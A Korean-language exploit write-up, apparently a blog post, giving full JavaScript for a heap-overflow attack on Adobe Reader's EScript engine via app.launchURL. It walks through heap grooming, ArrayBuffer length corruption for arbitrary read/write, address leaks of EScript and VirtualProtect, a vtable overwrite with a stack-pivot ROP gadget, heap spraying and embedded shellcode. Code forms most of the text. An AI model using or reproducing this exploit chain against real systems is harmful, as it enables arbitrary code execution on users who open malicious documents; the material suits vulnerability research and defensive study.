[그림 1] 전체 Exploit 과정 Overview
var strRelUrlSize = 0x600;
var strConUrlSize = 0x800;
function createArrayBuffer(blocksize) {
var arr = new ArrayBuffer(blocksize - 0x10);
var u8 = new Uint8Array(arr);
for (var i = 0; i < arr.byteLength; i++) {
u8[i] = 0x42;
}
return arr;
}
// 1. byteLength를 덮어쓸 문자열을 저장할 LFH heap 공간 생성
var arrB = new Array(0xE0);
var sprayStr1 = unescape('%uFFFF%uFFFF%uFFFF%uFFFF%u0000') + unescape('%uFFFF').repeat((strRelUrlSize / 2) - 1 - 5);
for (var i = 0; i < arrB.length; i++) {
arrB[i] = sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();
}
// 2. string 사이에 relativeURL을 저장할 공간 지정
for (var i = 0x11; i < arrB.length; i += 10) {
arrB[i] = null;
arrB[i] = undefined;
}
// 3. 연결된 URL을 저장할 LFH heap 공간 생성
var arrA = new Array(0x130);
for (var i = 0; i < arrA.length; i++) {
arrA[i] = createArrayBuffer(strConUrlSize);
}
// 4. LFH에 ArrayBuffer로 할당된 heap 사이에 연결된 URL이 들어갈 공간 지정
for (var i = 0x11; i < arrA.length; i += 10) {
arrA[i] = null;
arrA[i] = undefined;
}
// Garbage Collection 진행 (URL이 들어갈 공간을 진짜로 비워주기 위해)
gc();
byteLength를 덮어쓸 문자열을 저장할 LFH heap 공간을 생성한다.
0x600 byte
) 만큼의 길이를 가진 문자열을 배열, arrB
에 여러 번 저장하면 각 문자열은 모두 다른 heap 공간에 할당된다."%u????"
는 뒤의 2 byte가 Unicode로 encoding 된다.sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();
는 Null Terminator 2byte 제외 (strRelUrlSize/2)-1
개의 Unicode 문자를 나타낸다.(strRelUrlSize/2)-1
개의 Unicode 문자strRelUrlSize-2
bytestring 사이에 relativeURL을 저장할 공간을 지정한다.
연결된 URL을 저장할 LFH heap 공간을 생성한다.
연결된 URL 크기 (0x800 byte) 만큼 여러 번 heap을 할당헤 연결된 URL이 들어갈 LFH 공간을 생성한다.
Exploit에 이용할 각 URL 및 heap header 크기는 다음과 같다.
각 URL은 다음의 과정을 거쳐 저장된다.
두 UR은 다음의 과정을 거쳐 연결된다.
LFH에 ArrayBuffer로 할당된 heap 사이에 연결된 URL이 들어갈 공간을 지정한다.
[그림 2] Preparing Heap Layout 모식도
function triggerHeapOverflow() {
try {
app.launchURL('bb' + 'a'.repeat(0x2608 - 2 - 0x200 - 1 -0x8));
} catch(err) {}
}
[그림 3] baseURL이 연결된 URL을 저장할 heap에 저장된 직후 heap과 해당 heap 이후의 heap(ArrayBuffer)의 모습
[그림 4] URL 연결이 끝난 후 두 URL을 연결한 heap과 해당 heap 이후의 heap (ArrayBuffer)의 모습
// 1. oob index에 접근해서 읽고 쓸 수 있는 상대적 r/w primitive를 구현
for (var i = 0; i < arrA.length; i++) {
if (arrA[i] != null && arrA[i].byteLength == 0xFFFF) {
var temp = new DataView(arrA[i]);
temp.setInt32(0x7F0 + 0x8 + 0x4, 0xFFFFFFFF, true);
}
if (arrA[i] != null && arrA[i].byteLength == -1) {
var rw = new DataView(arrA[i]);
break;
}
}
// 2. oob base VA(= StartAddr) 획득 => 임의의 VA값 제어
if (rw) {
curChunkBlockOffset = rw.getUint8(0xFFFFFFED, true);
BitMapBufOffset = curChunkBlockOffset * (strConUrlSize + 8) + 0x18
for (var i = 0; i < 0x30; i += 4) {
BitMapBufOffset += 4;
signature = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
if (signature == 0xF0E0D0C0) {
BitMapBufOffset -= 0xC;
BitMapBuf = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
break;
}
}
if (BitMapBuf) {
StartAddr = BitMapBuf + BitMapBufOffset - 4;
}
}
[그림 5] r/w primitive를 구하는 과정 모식도
2.에서 구한 ArrayBuffer object의 data 시작 지점(R/W primitive)의 VA를 구한다.
[그림 6] UserBlock 구조체를 이용해 r/w primitive의 VA를 구하는 과정 모식도
byteLength가 -1로 변조된 ArrayBuffer가 저장된 Heap chunk의 Heap chunk header에서 chunk number를 획득한다.
동일한 크기의 제일 첫 Heap chunk의 Heap chunk header 시작 지점과 R/W primitive 사이의 offset을 구한다.
offset = chunk number * chunk size + 0x08 + 0x10
R/W primitive와 LFH Userblock이 정한 signature (0xF0E0D0C0) 사이 offset을 구한다.
offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m
UserBlock 구조체의 BitmapData의 VA를 leak한다.
: UserBlock 구조체 구조에 따라 [그림 6]의 Pointer에 저장된 값인 BitmapData의 VA를 획득한다.
offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m - 0x0C
&BitmapData = rw.getUint32(0xffffffff+0x1-offset, true)
[그림 7] UserBlock Header의 구조
R/W primitive의 VA를 계산한다.
offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m - 0x0c
startAddr = rw.getUint32(0xffffffff+0x1-offset, true) + offset - 0x04
R/W primtive의 VA를 이용해 모든 메모리 영역에 주소로 접근이 가능하다
function readUint32(dataView, readAddr) {
var offsetAddr = readAddr - StartAddr;
if (offsetAddr < 0) {
offsetAddr = offsetAddr + 0xFFFFFFFF + 1;
}
return dataView.getUint32(offsetAddr, true);
}
function writeUint32(dataView, writeAddr, value) {
var offsetAddr = writeAddr - StartAddr;
if (offsetAddr < 0) {
offsetAddr = offsetAddr + 0xFFFFFFFF + 1
}
return dataView.setUint32(offsetAddr, value, true);
}
위 두 함수는 각각 임의의 VA(readAddr, writeAddr)가 가리키는 값을 제어하는 데 도움을 준다.
동작 과정
특정 메모리의 VA를 전달 받으면 r/w primitive VA와의 offset을 계산한다.
r/w primitive의 DataView object로 1.에서 구한 offset 위치의 값을 제어한다.
⇒ 1., 2. 과정으로 특정 VA의 메모리 값을 제어할 수 있다.
var heapSegmentSize = 0x10000;
heapSpray = new Array(0x8000);
for (var i = 0; i < 0x8000; i++) {
heapSpray[i] = new ArrayBuffer(heapSegmentSize - 0x10 - 0x8);
}
임의의 주소로 esp를 옮겨 프로그램이 해당 주소를 Fake Stack이라고 인식하게 해 Stack Pivoting을 수행한다.
이때, 옮겨진 esp가 가리키는 Fake Stack은 쓰기 권한이 있어야 한다.
: Heap을 충분히 많이 할당해 (Heap Spraying) 옮겨진 esp가 가리키는 Fake Stack에 높은 확률로 읽기 및 쓰기 권한이 있도록 하였다.
Heap Spray를 통해 spray된 Heap 공간에 있는 stack이 자라면서 쓰기 권한이 없어서 발생하는 에러를 막을 수 있다.
하지만 항상 Fake Stack이 spray된 Heap 영역 (할당된 heap 영역)에 들어가는 것은 아니므로 exploit이 실패할 수도 있다.
// 1. START Information Leak
// leak the base address of EScript
EScriptModAddr = readUint32(rw, readUint32(rw, StartAddr - 8) + 0xC) - 0x277548;
// leak VirtualProtect address in kernel32.dll used by EScript
VirtualProtectAddr = readUint32(rw, EScriptModAddr + 0x1B0060);
// leak address of vtable
var dataViewObjPtr = rw.getUint32(0xFFFFFFFF + 0x1 - 0x8, true);
var dvShape = readUint32(rw, dataViewObjPtr);
var dvShapeBase = readUint32(rw, dvShape);
var dvShapeBaseClasp = readUint32(rw, dvShapeBase);
// END Information Leak
// 2. Overwrite address of getProperty in vtable to address of ROP gadget
var offset = 0x1050AE;
writeUint32(rw, dvShapeBaseClasp + 0x10, EScriptModAddr + offset);
// 3. Set Shellcode
var shellcode = [0xec83e589, 0x64db3120, 0x8b305b8b, 0x5b8b0c5b, 0x8b1b8b1c, 0x08438b1b, 0x8bfc4589, 0xc3013c58, 0x01785b8b, 0x207b8bc3, 0x7d89c701, 0x244b8bf8, 0x4d89c101, 0x1c538bf4, 0x5589c201, 0x14538bf0, 0xebec5589, 0x8bc03132, 0x7d8bec55, 0x18758bf8, 0x8bfcc931, 0x7d03873c, 0xc18366fc, 0x74a6f308, 0xd0394005, 0x4d8be472, 0xf0558bf4, 0x41048b66, 0x0382048b, 0xbac3fc45, 0x63657878, 0x5208eac1, 0x6e695768, 0x18658945, 0xffffb8e8, 0x51c931ff, 0x78652e68, 0x61636865, 0xe389636c, 0xff535141, 0xb9c931d0, 0x73736501, 0x5108e9c1, 0x6f725068, 0x78456863, 0x65897469, 0xff87e818, 0xd231ffff, 0x00d0ff52];
var shellcodesize = shellcode.length * 4;
// Write Shell Code
for (var i = 0; i < shellcode.length; i++) {
writeUint32(rw, StartAddr + 0x18 + i * 4, shellcode[i]);
}
// 4. Setup new Stack
var newStackAddr = 0x5D000001;
writeUint32(rw, newStackAddr, VirtualProtectAddr); // RIP 1
writeUint32(rw, newStackAddr + 0x4, StartAddr + 0x18); // RIP 2
writeUint32(rw, newStackAddr + 0x8, StartAddr + 0x18); // Arg1 : 메모리 시작 주소
writeUint32(rw, newStackAddr + 0xC, shellcodesize); // Arg2 : 메모리 크기
writeUint32(rw, newStackAddr + 0x10, 0x40); // Arg3 : 메모리 보호 상수 : 0x40 : 실행 권한
writeUint32(rw, newStackAddr + 0x14, StartAddr + 0x14); // Arg4 : 이전 보호 상수 저장할 포인터
// 5. try to access unknown property
// => call overwritten getProperty(ROP Gadget) in vtable
var foo = rw.execFlowHijack;
0x1050AE: mov esp, 0x5d000001; ret;
0x5d000001
r/w primitive의 위치 + 0x18
EScript의 base 주소를 획득한다.
a. JSObject (DataView, …)의 메모리 구조를 이용해 EScript.api 내부 어딘가의 주소를 획득한다.
b. a.에서 구한 주소에서 IDA로 확인한 offset (= 0x277548)을 빼 EScript.api의 base 주소를 획득한다.
IDA로 EScript.api와 EScript.api가 사용하는 kernel32.dll의 VirtualProtect 함수의 offset (= 0x1B0060
)을 계산한다.
kernel32.dll의 VirtualProtect 함수의 주소를 계산한다.
프로그램이 동작할 때 DataView Object property map의 VA를 얻는다.
rw
DataView object의 property map에서 getProperty
함수의 주소를 ROP Gadget의 주소로 변조한다.rw
DataView object에서 getProperty
함수를 호출하면 getProperty
함수가 아니라 ROP Gadget
을 호출하게 된다.r/w primitive의 위치 + 0x18
에 작성하였다.)사용할 ROP Gadget이 esp를 0x5D000001로 옮기므로 해당 주소를 기준으로 새로운 stack을 설정한다.
새로운 Stack에서는 아래의 동작이 수행된다.
[그림 9] 새로운 Stack의 모습 (ROP Gadget 실행 직전)
a. VirtualProtect 함수를 호출하며 Shellcode 영역에 실행 권한 부여
[그림 10] ret 명령이 실행되기 직전(좌)과 VirtualProtect 함수가 실행되기 직전(우)의 모습
b. Shellcode 실행
[그림 11] VirtualProtect 함수 Prologue 직후 (좌)와 Shellcode 실행 직전 (우)의 모습
StartAddr+0x18
을 RIP로 생각한다.피드백은 언제나 환영합니다